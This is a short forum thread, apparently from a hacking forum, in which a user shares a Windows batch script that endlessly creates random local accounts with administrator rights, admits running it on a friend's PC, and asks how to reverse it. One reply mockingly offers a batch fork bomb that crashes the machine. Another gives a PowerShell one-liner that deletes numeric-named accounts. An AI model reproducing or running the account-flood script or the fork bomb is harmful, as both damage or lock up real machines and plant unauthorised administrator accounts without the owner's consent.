EvilZone
Programming and Scripting => Scripting Languages => : Dark Nebulae September 10, 2012, 11:58:58 AM
-
I created and ran it on my friend's pc. can anyone please give me a batch file to reverse this.
@echo off
:usrflood
set usr=%random%
net users %usr% %random% /add
net localgroup administrators %usr% /add
goto usrflood
-
lmao
just make a loop that checks through all usernames. if the username is not a original one,remove the user,otherwise skip...
-
You're true genius!
Try running
s:
start %0
goto s
-
%random% will be digits only, regular usernames will usually contain letters.. remove all numeric usernames, in powershell:
([string]($nu=net user)[4..($nu.count-3)]).split(" ")|?{($_ -match "^\d+$")}|%{net user $_ /delete}